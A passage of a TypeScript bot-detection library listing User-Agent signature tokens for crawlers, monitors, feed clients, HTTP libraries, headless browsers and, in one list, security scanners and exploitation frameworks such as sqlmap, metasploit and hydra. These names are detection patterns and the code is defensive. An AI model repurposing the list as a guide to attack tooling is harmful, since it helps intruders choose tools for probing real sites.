\"claude-searchbot\"], category: \"ai\", benign: true, robotsAgent: \"ClaudeBot\", verification: { kind: \"ip-ranges\" }, docs: \"https://support.anthropic.com/en/articles/8896518\" },\n { id: \"perplexitybot\", name: \"PerplexityBot\", tokens: [\"perplexitybot\", \"perplexity-user\"], category: \"ai\", benign: true, robotsAgent: \"PerplexityBot\", verification: { kind: \"ip-ranges\" } },\n { id: \"google-extended\", name: \"Google-Extended\", tokens: [\"google-extended\"], category: \"ai\", benign: true, robotsAgent: \"Google-Extended\", verification: { kind: \"fcrdns\", domains: [\"googlebot.com\", \"google.com\"] } },\n { id: \"applebot-extended\", name: \"Applebot-Extended\", tokens: [\"applebot-extended\"], category: \"ai\", benign: true, robotsAgent: \"Applebot-Extended\", verification: { kind: \"fcrdns\", domains: [\"applebot.apple.com\"] } },\n { id: \"ccbot\", name: \"CCBot (Common Crawl)\", tokens: [\"ccbot\"], category: \"ai\", benign: true, robotsAgent: \"CCBot\", verification: { kind: \"none\" } },\n { id: \"bytespider\", name: \"Bytespider\", tokens: [\"bytespider\"], category: \"ai\", benign: false, robotsAgent: \"Bytespider\", verification: { kind: \"none\" } },\n { id: \"amazonbot\", name: \"Amazonbot\", tokens: [\"amazonbot\"], category: \"ai\", benign: true, robotsAgent: \"Amazonbot\", verification: { kind: \"ip-ranges\" } },\n { id: \"meta-ai\", name: \"Meta AI crawlers\", tokens: [\"meta-externalagent\", \"facebookbot\", \"meta-externalfetcher\"], category: \"ai\", benign: true, robotsAgent: \"meta-externalagent\", verification: { kind: \"ip-ranges\" } },\n { id: \"cohere-ai\", name: \"Cohere\", tokens: [\"cohere-ai\", \"cohere-training-data-crawler\"], category: \"ai\", benign: true, robotsAgent: \"cohere-ai\", verification: { kind: \"none\" } },\n { id: \"diffbot\", name: \"Diffbot\", tokens: [\"diffbot\"], category: \"ai\", benign: true, robotsAgent: \"Diffbot\", verification: { kind: \"none\" } },\n { id: \"timpibot\", name: \"Timpibot\", tokens: [\"timpibot\"], category: \"ai\", benign: true, robotsAgent: \"Timpibot\", verification: { kind: \"none\" } },\n { id: \"youbot\", name: \"YouBot\", tokens: [\"youbot\"], category: \"ai\", benign: true, robotsAgent: \"YouBot\", verification: { kind: \"none\" } },\n { id: \"ai2bot\", name: \"AI2Bot\", tokens: [\"ai2bot\"], category: \"ai\", benign: true, robotsAgent: \"AI2Bot\", verification: { kind: \"none\" } },\n { id: \"mistral-ai\", name: \"Mistral AI\", tokens: [\"mistralai-user\", \"mistralai-crawler\"], category: \"ai\", benign: true, robotsAgent: \"MistralAI-User\", verification: { kind: \"none\" } },\n { id: \"google-vertex\", name: \"Google CloudVertexBot\", tokens: [\"google-cloudvertexbot\"], category: \"ai\", benign: true, robotsAgent: \"Google-CloudVertexBot\", verification: { kind: \"fcrdns\", domains: [\"googlebot.com\", \"google.com\"] } },\n { id: \"pangubot\", name: \"PanguBot (Huawei)\", tokens: [\"pangubot\"], category: \"ai\", benign: true, robotsAgent: \"PanguBot\", verification: { kind: \"none\" } },\n { id: \"kangaroo\", name: \"Kangaroo Bot\", tokens: [\"kangaroo bot\"], category: \"ai\", benign: true, robotsAgent: \"Kangaroo Bot\", verification: { kind: \"none\" } },\n { id: \"semanticscholar\", name: \"Semantic Scholar\", tokens: [\"semanticscholarbot\"], category: \"ai\", benign: true, robotsAgent: \"SemanticScholarBot\", verification: { kind: \"none\" } },\n // Bulk dataset collection. Honest about what it is, and rarely something a\n // publisher chose — hence not benign, so the default allow path leaves it out.\n { id: \"omgili\", name: \"Webz.io / Omgili\", tokens: [\"omgili\", \"omgilibot\", \"webzio-extended\"], category: \"ai\", benign: false, robotsAgent: \"omgili\", verification: { kind: \"none\" } },\n { id: \"img2dataset\", name: \"img2dataset\", tokens: [\"img2dataset\"], category: \"ai\", benign: false, robotsAgent: \"img2dataset\", verification: { kind: \"none\" } },\n { id: \"tiktokspider\", name: \"TikTokSpider\", tokens: [\"tiktokspider\"], category: \"ai\", benign: false, robotsAgent: \"TikTokSpider\", verification: { kind: \"none\" } },\n];\n\n/** SEO and market-intelligence crawlers. Legitimate businesses; frequently unwanted load. */\nconst SEO: BotSignature[] = [\n { id: \"ahrefsbot\", name: \"AhrefsBot\", tokens: [\"ahrefsbot\", \"ahrefssiteaudit\"], category: \"seo\", benign: false, robotsAgent: \"AhrefsBot\", verification: { kind: \"fcrdns\", domains: [\"ahrefs.com\", \"ahrefs.net\"] } },\n { id: \"semrushbot\", name: \"SemrushBot\", tokens: [\"semrushbot\", \"siteauditbot\"], category: \"seo\", benign: false, robotsAgent: \"SemrushBot\", verification: { kind: \"none\" } },\n { id: \"mj12bot\", name: \"MJ12bot (Majestic)\", tokens: [\"mj12bot\"], category: \"seo\", benign: false, robotsAgent: \"MJ12bot\", verification: { kind: \"none\" } },\n { id: \"dotbot\", name: \"DotBot (Moz)\", tokens: [\"dotbot\", \"rogerbot\"], category: \"seo\", benign: false, robotsAgent: \"dotbot\", verification: { kind: \"none\" } },\n { id: \"blexbot\", name: \"BLEXBot\", tokens: [\"blexbot\"], category: \"seo\", benign: false, robotsAgent: \"BLEXBot\", verification: { kind: \"none\" } },\n { id: \"dataforseo\", name: \"DataForSeoBot\", tokens: [\"dataforseobot\"], category: \"seo\", benign: false, robotsAgent: \"DataForSeoBot\", verification: { kind: \"none\" } },\n { id: \"serpstatbot\", name: \"Serpstatbot\", tokens: [\"serpstatbot\"], category: \"seo\", benign: false, robotsAgent: \"serpstatbot\", verification: { kind: \"none\" } },\n { id: \"barkrowler\", name: \"Barkrowler\", tokens: [\"barkrowler\"], category: \"seo\", benign: false, robotsAgent: \"Barkrowler\", verification: { kind: \"none\" } },\n { id: \"zoominfobot\", name: \"ZoominfoBot\", tokens: [\"zoominfobot\"], category: \"seo\", benign: false, robotsAgent: \"ZoominfoBot\", verification: { kind: \"none\" } },\n // Desktop auditing tools. Almost always the site's own team, running from a laptop\n // on a residential address, which is why they are marked benign despite the category.\n { id: \"screaming-frog\", name: \"Screaming Frog SEO Spider\", tokens: [\"screaming frog seo spider\"], category: \"seo\", benign: true, verification: { kind: \"none\" }, docs: \"https://www.screamingfrog.co.uk/seo-spider/user-guide/\" },\n { id: \"sitebulb\", name: \"Sitebulb\", tokens: [\"sitebulb\"], category: \"seo\", benign: true, verification: { kind: \"none\" } },\n { id: \"lumar\", name: \"Lumar (DeepCrawl)\", tokens: [\"deepcrawl\", \"lumar\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"oncrawl\", name: \"OnCrawl\", tokens: [\"oncrawl\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"sistrix\", name: \"SISTRIX Crawler\", tokens: [\"sistrix\"], category: \"seo\", benign: false, robotsAgent: \"SISTRIX\", verification: { kind: \"none\" } },\n { id: \"seokicks\", name: \"SEOkicks\", tokens: [\"seokicks\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"linkdex\", name: \"Linkdex\", tokens: [\"linkdexbot\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"seobility\", name: \"Seobility\", tokens: [\"seobility\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"sitechecker\", name: \"Sitechecker\", tokens: [\"sitecheckerbotcrawler\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"cocolyze\", name: \"Cocolyze\", tokens: [\"cocolyzebot\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n // Media and brand monitoring: the same shape as SEO crawling, a different customer.\n { id: \"magpie\", name: \"Brandwatch (magpie-crawler)\", tokens: [\"magpie-crawler\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"trendiction\", name: \"Trendiction\", tokens: [\"trendictionbot\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n { id: \"awario\", name: \"Awario\", tokens: [\"awariobot\", \"awariorssbot\", \"awariosmartbot\"], category: \"seo\", benign: false, verification: { kind: \"none\" } },\n];\n\n/** Link-unfurling and preview fetchers. Almost always wanted: they render your share cards. */\nconst SOCIAL: BotSignature[] = [\n { id: \"facebook-external\", name: \"Facebook external hit\", tokens: [\"facebookexternalhit\", \"facebookcatalog\"], category: \"social\", benign: true, verification: { kind: \"ip-ranges\" } },\n { id: \"twitterbot\", name: \"Twitterbot\", tokens: [\"twitterbot\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"linkedinbot\", name: \"LinkedInBot\", tokens: [\"linkedinbot\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"slackbot\", name: \"Slackbot\", tokens: [\"slackbot\", \"slack-imgproxy\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"discordbot\", name: \"Discordbot\", tokens: [\"discordbot\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"telegrambot\", name: \"TelegramBot\", tokens: [\"telegrambot\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"whatsapp\", name: \"WhatsApp preview\", tokens: [\"whatsapp/\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"redditbot\", name: \"Redditbot\", tokens: [\"redditbot\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"pinterestbot\", name: \"Pinterestbot\", tokens: [\"pinterest/\", \"pinterestbot\"], category: \"social\", benign: true, verification: { kind: \"fcrdns\", domains: [\"pinterest.com\"] } },\n { id: \"mastodon\", name: \"Mastodon / Fediverse\", tokens: [\"mastodon/\", \"pleroma\", \"misskey/\", \"akkoma\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"embedly\", name: \"Embedly\", tokens: [\"embedly\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"bluesky\", name: \"Bluesky card fetcher\", tokens: [\"bluesky cardyb\", \"cardyb/\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"iframely\", name: \"Iframely\", tokens: [\"iframely\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"skype-preview\", name: \"Skype URI preview\", tokens: [\"skypeuripreview\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"vk-share\", name: \"VK / Odnoklassniki preview\", tokens: [\"vkshare\", \"odklbot\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"discourse-onebox\", name: \"Discourse Onebox\", tokens: [\"discourse forum onebox\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n { id: \"yahoo-preview\", name: \"Yahoo Link Preview\", tokens: [\"yahoo link preview\"], category: \"social\", benign: true, verification: { kind: \"none\" } },\n];\n\n/** Uptime, synthetic and accessibility monitoring. Usually yours — allowlist them by IP. */\nconst MONITORING: BotSignature[] = [\n { id: \"uptimerobot\", name: \"UptimeRobot\", tokens: [\"uptimerobot\"], category: \"monitoring\", benign: true, verification: { kind: \"ip-ranges\" } },\n { id: \"pingdom\", name: \"Pingdom\", tokens: [\"pingdom\"], category: \"monitoring\", benign: true, verification: { kind: \"ip-ranges\" } },\n { id: \"statuscake\", name: \"StatusCake\", tokens: [\"statuscake\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"datadog\", name: \"Datadog Synthetics\", tokens: [\"datadog\", \"synthetics\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"betteruptime\", name: \"Better Uptime\", tokens: [\"betteruptime\", \"betterstack\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"site24x7\", name: \"Site24x7\", tokens: [\"site24x7\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"google-pagespeed\", name: \"Google PageSpeed / Lighthouse\", tokens: [\"chrome-lighthouse\", \"google page speed insights\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"gtmetrix\", name: \"GTmetrix\", tokens: [\"gtmetrix\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"w3c-validator\", name: \"W3C Validator\", tokens: [\"w3c_validator\", \"w3c-checklink\", \"w3c-mobileok\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"ssllabs\", name: \"Qualys SSL Labs\", tokens: [\"ssl labs\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"checkly\", name: \"Checkly\", tokens: [\"checkly\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"updown\", name: \"updown.io\", tokens: [\"updown.io\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"hetrixtools\", name: \"HetrixTools\", tokens: [\"hetrixtools\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"uptime-kuma\", name: \"Uptime Kuma\", tokens: [\"uptime-kuma\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"freshping\", name: \"Freshping\", tokens: [\"freshping\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"newrelic\", name: \"New Relic Synthetics\", tokens: [\"newrelicsyntheticsmonitor\", \"newrelicpinger\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"webpagetest\", name: \"WebPageTest\", tokens: [\"webpagetest\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n // Platform health probes. Naming these matters more than it looks: an unrecognised\n // `kube-probe/1.31` is a bare product token, which reads as an anonymous HTTP client\n // and lands in whatever bucket the policy keeps for those — for a request your own\n // orchestrator made to decide whether to restart the process.\n { id: \"platform-probes\", name: \"Platform health probes\", tokens: [\"kube-probe\", \"elb-healthchecker\", \"googlehc\", \"amazon-route53-health-check\", \"azure-traffic-manager\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n { id: \"exporters\", name: \"Metrics and availability exporters\", tokens: [\"blackbox_exporter\", \"prometheus/\", \"zabbix\", \"check_http\", \"nagios\", \"icinga\"], category: \"monitoring\", benign: true, verification: { kind: \"none\" } },\n];\n\nconst ARCHIVE: BotSignature[] = [\n { id: \"ia-archiver\", name: \"Internet Archive\", tokens: [\"ia_archiver\", \"archive.org_bot\", \"wayback\"], category: \"archive\", benign: true, verification: { kind: \"none\" } },\n { id: \"heritrix\", name: \"Heritrix\", tokens: [\"heritrix\"], category: \"archive\", benign: true, verification: { kind: \"none\" } },\n];\n\n/**\n * Feed and podcast clients.\n *\n * A large and easily-forgotten slice of a publisher's audience arrives this way, and\n * none of it runs JavaScript — so a challenge does not inconvenience these clients,\n * it removes them.\n *\n * `Spotify/` is deliberately **not** a token here. Spotify's podcast fetcher sends\n * `Spotify/1.0`, but Spotify's desktop application is an Electron client sending\n * `Spotify/1.2.x …` with a person listening behind it. One token, two populations, and\n * no way to tell them apart — so the fetcher is left to the generic bare-token rule\n * rather than risking a signature that names a listener as a bot.\n */\nconst FEED: BotSignature[] = [\n { id: \"freshrss\", name: \"FreshRSS\", tokens: [\"freshrss\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"netnewswire\", name: \"NetNewsWire\", tokens: [\"netnewswire\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"overcast\", name: \"Overcast\", tokens: [\"overcast/\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"pocketcasts\", name: \"Pocket Casts\", tokens: [\"pocketcasts\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"antennapod\", name: \"AntennaPod\", tokens: [\"antennapod\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"podcastaddict\", name: \"Podcast Addict\", tokens: [\"podcastaddict\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"gpodder\", name: \"gPodder\", tokens: [\"gpodder\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"castro\", name: \"Castro\", tokens: [\"tentacles\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"amazon-music-podcast\", name: \"Amazon Music Podcast\", tokens: [\"amazon music podcast\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n {\n id: \"apple-podcasts\",\n name: \"Apple Podcasts\",\n tokens: [\"itms\"],\n category: \"feed\",\n benign: true,\n verification: { kind: \"none\" },\n docs: \"https://podnews.net/about/rss-stats\",\n },\n\n { id: \"feedly\", name: \"Feedly\", tokens: [\"feedly\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"inoreader\", name: \"Inoreader\", tokens: [\"inoreader\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"feedfetcher\", name: \"Feedfetcher-Google\", tokens: [\"feedfetcher-google\"], category: \"feed\", benign: true, verification: { kind: \"fcrdns\", domains: [\"google.com\", \"googlebot.com\"] } },\n { id: \"rss-reader\", name: \"Generic feed reader\", tokens: [\"newsblur\", \"tiny tiny rss\", \"miniflux\", \"netvibes\", \"rssbot\", \"feedbin\", \"theoldreader\", \"bazqux\", \"rssowl\", \"selfoss\", \"commafeed\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"feedburner\", name: \"FeedBurner / Superfeedr\", tokens: [\"feedburner\", \"superfeedr\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n { id: \"podverse\", name: \"Podverse\", tokens: [\"podverse\"], category: \"feed\", benign: true, verification: { kind: \"none\" } },\n];\n\n/**\n * Security scanners and exploitation tooling. A hit is not proof of malice — you may\n * be scanning yourself — but it is proof of automation, which is all this library\n * claims. Point these at your allowlist if they are your own.\n */\nconst SECURITY: BotSignature[] = [\n { id: \"sqlmap\", name: \"sqlmap\", tokens: [\"sqlmap\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"nikto\", name: \"Nikto\", tokens: [\"nikto\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"nmap\", name: \"Nmap / masscan / zgrab\", tokens: [\"nmap scripting engine\", \"masscan\", \"zgrab\", \"zmap\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"dirbusters\", name: \"Directory brute-forcers\", tokens: [\"dirbuster\", \"gobuster\", \"feroxbuster\", \"ffuf\", \"wfuzz\", \"dirsearch\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"nuclei\", name: \"Nuclei\", tokens: [\"nuclei\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"commercial-scanners\", name: \"Commercial scanners\", tokens: [\"acunetix\", \"nessus\", \"openvas\", \"qualys\", \"arachni\", \"w3af\", \"netsparker\", \"invicti\", \"detectify\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"exploitation\", name: \"Exploitation frameworks\", tokens: [\"metasploit\", \"hydra\", \"havij\", \"burpsuite\", \"burp collaborator\", \"xsser\", \"commix\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"internet-scanners\", name: \"Internet-wide scanners\", tokens: [\"censysinspect\", \"shodan\", \"internetmeasurement\", \"expanse\", \"leakix\", \"netsystemsresearch\", \"paloaltonetworks.com/\", \"odin.com\", \"binaryedge\", \"stretchoid\", \"netcraftsurveyagent\", \"l9explore\", \"l9tcpid\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"app-scanners\", name: \"Application scanners\", tokens: [\"whatweb\", \"wpscan\", \"joomscan\", \"droopescan\", \"skipfish\", \"cmsmap\", \"vega/\", \"grabber\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"injection-tools\", name: \"Injection and fuzzing tools\", tokens: [\"dalfox\", \"xsstrike\", \"sqlninja\", \"jaeles\", \"nosqlmap\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n { id: \"attack-crawlers\", name: \"Reconnaissance crawlers\", tokens: [\"katana\", \"hakrawler\", \"gospider\", \"photon\", \"crawlergo\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n // A forged Mozilla with a typo, shipped in a botnet toolkit and unchanged for years.\n // It is the closest thing to a signature a hostile client hands you voluntarily.\n // `Mozlila` — a misspelling of Mozilla shipped in a botnet toolkit and unchanged for\n // years. It is the closest thing to a signature a hostile client hands over\n // voluntarily. The genuine IE6-on-XP string it is imitating is deliberately *not*\n // listed beside it: that string names a real, if nearly extinct, browser, and a\n // conclusive signature on it would deny service to whoever is still running one.\n { id: \"forged-mozilla\", name: \"Known forged Mozilla string\", tokens: [\"mozlila/\"], category: \"security\", benign: false, verification: { kind: \"none\" } },\n];\n\n/**\n * Bare HTTP clients and scripting libraries.\n *\n * A default library UA is one of the very few `certain` signals available from the\n * User-Agent alone, and the reason is worth stating: no browser ever sends\n * `python-requests/2.31.0`. The string is not evidence that the operator is hostile\n * — it is evidence that no human is looking at the response, which is a different\n * and much safer claim. Plenty of these are your own integrations; allowlist them.\n */\nconst LIBRARY: BotSignature[] = [\n { id: \"curl\", name: \"curl\", tokens: [\"curl/\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"wget\", name: \"Wget\", tokens: [\"wget/\", \"wget2/\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"python\", name: \"Python HTTP clients\", tokens: [\"python-requests\", \"python-urllib\", \"python-httpx\", \"aiohttp/\", \"httpx/\", \"urllib3/\", \"scrapy/\", \"mechanize\", \"httplib2\", \"pycurl\", \"tornado/\", \"twisted\", \"grab/\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"node\", name: \"Node, Deno and Bun HTTP clients\", tokens: [\"node-fetch\", \"axios/\", \"got (\", \"got/\", \"undici\", \"superagent\", \"bun/\", \"deno/\", \"crawlee\", \"cheerio\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"go\", name: \"Go HTTP client\", tokens: [\"go-http-client\", \"go-resty\", \"colly\", \"fasthttp\", \"gocolly\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"java\", name: \"JVM HTTP clients\", tokens: [\"java/\", \"java-http-client\", \"apache-httpclient\", \"okhttp\", \"jakarta commons-httpclient\", \"jsoup\", \"unirest\", \"ktor-client\", \"jetty/\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"php\", name: \"PHP HTTP clients\", tokens: [\"guzzlehttp\", \"php/\", \"wordpress/\", \"drupal/\", \"symfony httpclient\", \"phpcrawl\", \"snoopy\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"ruby\", name: \"Ruby HTTP clients\", tokens: [\"ruby/\", \"faraday\", \"typhoeus\", \"rest-client\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"dotnet\", name: \".NET HTTP clients\", tokens: [\".net clr\", \"restsharp\", \"httpclient/\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"perl\", name: \"Perl\", tokens: [\"libwww-perl\", \"lwp::simple\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"misc-cli\", name: \"Other CLI clients\", tokens: [\"httpie\", \"postmanruntime\", \"insomnia\", \"resty/\", \"aria2\", \"libcurl\", \"bruno/\", \"thunder client\", \"paw/\", \"lftp\", \"axel/\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n // Rust was missing entirely, which mattered more than a gap in a list: a Rust\n // scraper reached the bare-product-token rule and was reported as an unrecognised\n // client rather than as the HTTP library it is.\n { id: \"rust\", name: \"Rust HTTP clients\", tokens: [\"reqwest\", \"hyper/\", \"isahc/\", \"ureq/\", \"curl-rust\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n // A load generator sits in `library` rather than in `monitoring`, and the placement\n // is a security decision rather than a taxonomic one: `monitoring` is a benign\n // category, and a benign category is on the default allow path. Usually k6 is your\n // own test — and when it is not, it is a flood, which is the one thing that must not\n // arrive pre-allowed.\n { id: \"k6\", name: \"Grafana k6\", tokens: [\"k6/\"], category: \"library\", benign: false, verification: { kind: \"none\" }, docs: \"https://k6.io\" },\n { id: \"shell\", name: \"Shell and Windows HTTP clients\", tokens: [\"powershell\", \"winhttp\", \"wininet\", \"microsoft-cryptoapi\", \"microsoft url control\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"site-mirrors\", name: \"Site mirroring tools\", tokens: [\"httrack\", \"sitesucker\", \"webcopier\", \"teleport pro\", \"offline explorer\", \"webzip\", \"wpull\", \"grab-site\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n { id: \"media-fetchers\", name: \"Media download tools\", tokens: [\"yt-dlp\", \"youtube-dl\", \"gallery-dl\"], category: \"library\", benign: false, verification: { kind: \"none\" } },\n];\n\n/**\n * Automation-driven browser engines.\n *\n * These strings appear when the operator has not bothered to hide, which is common\n * and worth catching cheaply. A framework that *does* hide leaves this database\n * untouched — that is what the consistency and behavioural detectors are for.\n */\nconst HEADLESS: BotSignature[] = [\n { id: \"headless-chrome\", name: \"Headless Chrome\", tokens: [\"headlesschrome\", \"headless_chrome\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n { id: \"phantomjs\", name: \"PhantomJS\", tokens: [\"phantomjs\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n { id: \"selenium\", name: \"Selenium\", tokens: [\"selenium\", \"webdriver\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n { id: \"playwright\", name: \"Playwright\", tokens: [\"playwright\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n { id: \"puppeteer\", name: \"Puppeteer\", tokens: [\"puppeteer\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n\n { id: \"splash\", name: \"Splash / htmlunit\", tokens: [\"splash/\", \"htmlunit\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n { id: \"driver-frameworks\", name: \"Browser automation frameworks\", tokens: [\"chromedp\", \"rod/\", \"cypress\", \"webdriverio\", \"nightmare\", \"zombie.js\", \"chromeless\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n // Scraping platforms: someone else's browser farm, rented by the request. Most of\n // their traffic wears a copied Chrome string and this signature never sees it — but\n // the default configurations do announce themselves, and the ones that do are worth\n // naming rather than leaving to the behavioural detectors.\n { id: \"scraping-platforms\", name: \"Managed scraping platforms\", tokens: [\"apify\", \"scrapingbee\", \"scraperapi\", \"bright data\", \"brightdata\", \"zyte\", \"crawlera\", \"browserless\", \"browserbase\", \"hyperbrowser\", \"firecrawl\", \"diffbot-render\"], category: \"headless\", benign: false, verification: { kind: \"none\" } },\n];\n\n/**\n * Real browser engines embedded in desktop applications.\n *\n * These are emphatically **not** automation, and the distinction cost this library a\n * bug: `Electron/` sat in the headless set, so opening the demo in VS Code's Simple\n * Browser produced a *proven* automation verdict for a person reading a page.\n *\n * The token is still worth recording — scrapers are occasionally built on Electron —\n * but only as a weak, non-conclusive observation that can never reach a blocking\n * action on its own.\n */\nconst EMBEDDED: BotSignature[] = [\n {\n id: \"electron\",\n name: \"an Electron application\",\n tokens: [\"electron/\"],\n category: \"embedded\",\n benign: true,\n conclusive: false,\n caveat: \"Electron is an application framework, not an automation one. VS Code, Slack, Discord, Postman and Notion all embed a real Chromium that a person drives.\",\n verification: { kind: \"none\" },\n },\n // Media playback stacks. The same argument as Electron, and a larger population:\n // `AppleCoreMedia` is what an iPhone sends while somebody listens to a podcast or\n // watches a video, and `CFNetwork/Darwin` is what most iOS applications send when a\n // person taps something inside them. Both are bare product tokens with no browser\n // preamble, so before this entry they reached the \"unrecognised client\" rule and\n // were reported as an HTTP library — which they are, with a person on the other end.\n {\n id: \"apple-networking\",\n name: \"an Apple media or application HTTP stack\",\n tokens: [\"applecoremedia\", \"cfnetwork/\"],\n category: \"embedded\",\n benign: true,\n conclusive: false,\n caveat: \"AppleCoreMedia streams audio and video to a person's device, and CFNetwork is the networking layer under most iOS applications. Neither says anything about whether a person is driving.\",\n verification: { kind: \"none\" },\n },\n {\n id: \"media-players\",\n name: \"a desktop media player\",\n tokens: [\"vlc/\", \"libvlc\", \"mpv/\", \"gstreamer\", \"lavf/\", \"libavformat\", \"windows-media-player\", \"foobar2000\", \"kodi\", \"plex\"],\n category: \"embedded\",\n benign: true,\n conclusive: false,\n caveat: \"A media player fetching a stream has a person watching or listening. Refusing it does not stop a scraper; it stops playback.\",\n verification: { kind: \"none\" },\n },\n];\n\nconst ADVERTISING: BotSignature[] = [\n { id: \"adsbot-google\", name: \"AdsBot-Google\", tokens: [\"adsbot-google\", \"mediapartners-google\", \"adsbot\"], category: \"advertising\", benign: true, verification: { kind: \"fcrdns\", domains: [\"googlebot.com\", \"google.com\"] } },\n { id: \"criteo\", name: \"Criteo\", tokens: [\"criteobot\"], category: \"advertising\", benign: true, verification: { kind: \"none\" } },\n];\n\n/** Every built-in signature, in one array. Extend it via `extraSignatures` rather than editing. */\nexport const BOT_SIGNATURES: readonly BotSignature[] = Object.freeze([\n ...SEARCH,\n ...AI,\n ...SEO,\n ...SOCIAL,\n ...MONITORING,\n ...ARCHIVE,\n ...FEED,\n ...SECURITY,\n ...ADVERTISING,\n ...LIBRARY,\n ...HEADLESS,\n ...EMBEDDED,\n]);\n\n/**\n * Compiles signatures into a single-pass matcher. Build this once per engine, never\n * per request — construction is O(total pattern length) and matching is O(input).\n */\nexport function compileSignatures(signatures: readonly BotSignature[] = BOT_SIGNATURES): MultiPatternMatcher<BotSignature> {\n const entries: Array<[string, BotSignature]> = [];\n for (const signature of signatures) {\n for (const token of signature.tokens) entries.push([token.toLowerCase(), signature]);\n }\n return new MultiPatternMatcher(entries);\n}\n\n/** Index by id, so rules can name a bot (`\"googlebot\"`) and get its metadata back. */\nexport function indexSignatures(signatures: readonly BotSignature[] = BOT_SIGNATURES): ReadonlyMap<string, BotSignature> {\n return new Map(signatures.map((signature) => [signature.id, signature]));\n}\n\n/** Categories whose members are, by default, worth serving. Used by `allowBenignBots`. */\nexport const BENIGN_CATEGORIES: ReadonlySet<BotCategory> = new Set<BotCategory>([\"search\", 